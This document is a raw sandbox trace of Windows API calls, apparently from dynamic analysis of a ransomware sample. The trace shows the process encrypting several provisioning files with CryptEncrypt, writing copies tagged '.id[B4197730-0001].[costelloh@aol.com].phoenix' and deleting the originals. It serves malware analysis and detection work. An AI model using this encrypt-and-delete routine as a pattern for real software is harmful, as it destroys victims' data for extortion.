	[0259.806] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.806] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.807] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0259.807] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.807] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0259.809] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0259.809] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.810] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0259.810] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.810] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0259.810] CryptDestroyKey (hKey=0x151780) returned 1
	[0259.810] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0259.811] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.811] CloseHandle (hObject=0x2e0) returned 1
	[0259.811] CloseHandle (hObject=0x258) returned 1
	[0259.811] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml")) returned 1
	[0259.812] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.813] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0259.813] CloseHandle (hObject=0x258) returned 1
	[0259.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.813] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.813] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.813] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.814] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.814] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0259.814] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.814] ReadFile (in: hFile=0x258, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0259.840] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0259.840] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.841] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0259.841] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.841] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0259.842] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.842] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0259.842] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.842] CloseHandle (hObject=0x258) returned 1
	[0259.842] CloseHandle (hObject=0x2e0) returned 1
	[0259.842] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.843] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.843] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.844] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=651) returned 1
	[0259.844] CloseHandle (hObject=0x2e0) returned 1
	[0259.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.844] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.845] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.845] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.845] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.846] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0259.846] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.846] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28b, lpOverlapped=0x0) returned 1
	[0259.874] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0259.874] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0259.876] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0259.876] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.876] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0259.876] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.876] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0259.876] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0259.876] CloseHandle (hObject=0x2e0) returned 1
	[0259.876] CloseHandle (hObject=0x258) returned 1
	[0259.876] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.877] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.877] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.878] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=714) returned 1
	[0259.878] CloseHandle (hObject=0x258) returned 1
	[0259.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.879] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.879] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.879] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.879] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.880] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0259.880] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.880] ReadFile (in: hFile=0x258, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ca, lpOverlapped=0x0) returned 1
	[0259.910] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0259.910] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.911] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0259.911] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.911] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0259.911] CryptDestroyKey (hKey=0x151140) returned 1
	[0259.911] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0259.911] CryptDestroyKey (hKey=0x151780) returned 1
	[0259.911] CloseHandle (hObject=0x258) returned 1
	[0259.911] CloseHandle (hObject=0x2e0) returned 1
	[0259.911] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.912] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.912] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.913] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1046) returned 1
	[0259.913] CloseHandle (hObject=0x2e0) returned 1
	[0259.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0259.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.913] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.913] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.914] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0259.914] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.914] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x416, lpOverlapped=0x0) returned 1
	[0259.923] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x420, dwBufLen=0x420 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x420) returned 1
	[0259.923] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x420, lpOverlapped=0x0) returned 1
	[0259.924] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0259.924] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.924] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0259.924] CryptDestroyKey (hKey=0x151780) returned 1
